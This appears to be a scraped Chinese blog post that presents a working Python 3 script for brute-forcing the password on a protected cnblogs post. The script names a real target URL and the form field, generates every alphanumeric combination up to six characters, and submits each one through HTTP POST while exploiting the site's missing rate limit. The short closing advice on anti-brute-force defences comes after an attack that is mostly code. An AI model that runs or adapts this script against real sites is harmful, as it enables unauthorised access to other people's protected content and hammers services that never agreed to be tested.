python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
python list使用示例 list中找连续的数字
Jan 27 Python
python中的闭包用法实例详解
May 05 Python
python模块简介之有序字典(OrderedDict)
Dec 01 Python
python基于itchat实现微信群消息同步机器人
Feb 27 Python
python跳过第一行快速读取文件内容的实例
Jul 12 Python
python求最大值最小值方法总结
Jun 25 Python
wxpython多线程防假死与线程间传递消息实例详解
Dec 13 Python
Python全面分析系统的时域特性和频率域特性
Feb 26 Python
Python xpath表达式如何实现数据处理
Jun 13 Python
Python3.9.1中使用split()的处理方法(推荐)
Feb 07 Python
python 命令行传参方法总结
May 25 Python
python中取整数的几种方法
Nov 07 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
PHP防CC攻击实现代码
2011/12/29 PHP
php读取mysql乱码,用set names XXX解决的原理分享
2011/12/29 PHP
Laravel 4.2 中队列服务(queue)使用感受
2014/10/30 PHP
php邮箱地址正则表达式验证
2015/11/13 PHP
phpmailer简单发送邮件的方法(附phpmailer源码下载)
2016/06/13 PHP
thinkPHP框架实现的简单计算器示例
2018/12/07 PHP
js获取单选按钮的数据
2006/11/27 Javascript
js预加载图片方法汇总
2015/06/15 Javascript
详解JavaScript中jQuery和Ajax以及JSONP的联合使用
2015/08/13 Javascript
jQuery实现的背景颜色渐变动画效果示例
2017/03/24 jQuery
微信小程序结合mock.js实现后台模拟及调试
2019/03/28 Javascript
解决vue项目router切换太慢问题
2020/07/19 Javascript
JavaScript实现世界各地时间显示
2020/09/07 Javascript
Vue+penlayers实现多边形绘制及展示
2020/12/24 Vue.js
[51:10]VP vs VGJ.S 2018国际邀请赛小组赛BO2 第二场 8.19
2018/08/21 DOTA
[02:50]【扭转乾坤,只此一招】DOTA2全新版本永雾林渊开启新篇章
2020/12/24 DOTA
Python的Flask框架中实现分页功能的教程
2015/04/20 Python
python 字典有序并写入json文件过程解析
2019/09/30 Python
Python3并发写文件与Python对比
2019/11/20 Python
在 Linux/Mac 下为Python函数添加超时时间的方法
2020/02/20 Python
Pycharm创建python文件自动添加日期作者等信息(步骤详解)
2021/02/03 Python
Parfume Klik丹麦:香水网上商店
2018/07/10 全球购物
实习生自我鉴定范文
2013/12/05 职场文书
考试没考好检讨书
2014/01/31 职场文书
母亲节感恩活动记录
2014/03/16 职场文书
汽车检测与维修专业求职信
2014/07/04 职场文书
公司股东出资证明书
2014/11/01 职场文书
慰问信格式
2015/02/14 职场文书
英语辞职信范文
2015/02/28 职场文书
在职证明书模板
2015/06/15 职场文书
技能培训通讯稿
2015/07/18 职场文书
广告策划的实习心得体会总结!
2019/07/22 职场文书
css3带你实现3D转换效果
2022/02/24 HTML / CSS
PostgreSQL基于pgrouting的路径规划处理方法
2022/04/18 PostgreSQL
SpringBoot前端后端分离之Nginx服务器下载安装过程
2022/08/14 Servers
Python find()、rfind()方法及作用
2022/12/24 Python